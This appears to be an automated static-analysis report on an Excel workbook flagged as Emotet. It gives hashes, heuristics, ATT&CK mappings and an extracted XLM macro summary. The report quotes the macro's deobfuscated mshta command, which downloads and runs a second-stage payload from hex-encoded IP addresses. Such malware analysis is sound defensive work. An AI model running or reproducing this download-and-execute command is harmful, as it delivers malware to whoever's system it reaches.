Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 386950ea5863e0c7…

MALICIOUS

Office (OLE) / .XLSX

128.1 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 2836d8d3612698af09984cb4e53c40f8 SHA-1: 9dbcdde9118b13c854ce57c42ce8b0b0691e883c SHA-256: 386950ea5863e0c75222b14a06c4e35d6595da0405dea63c2a0cceda9df47542
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro with an Auto_Open entry, and ClamAV identifies the file as Emotet. The extracted XLM macro explicitly defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l'. This command is designed to download and execute a second-stage payload from the specified URL, a common Emotet delivery technique. The macro also defines a similar string pointing to 'http://0xb907d607/cc.html'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes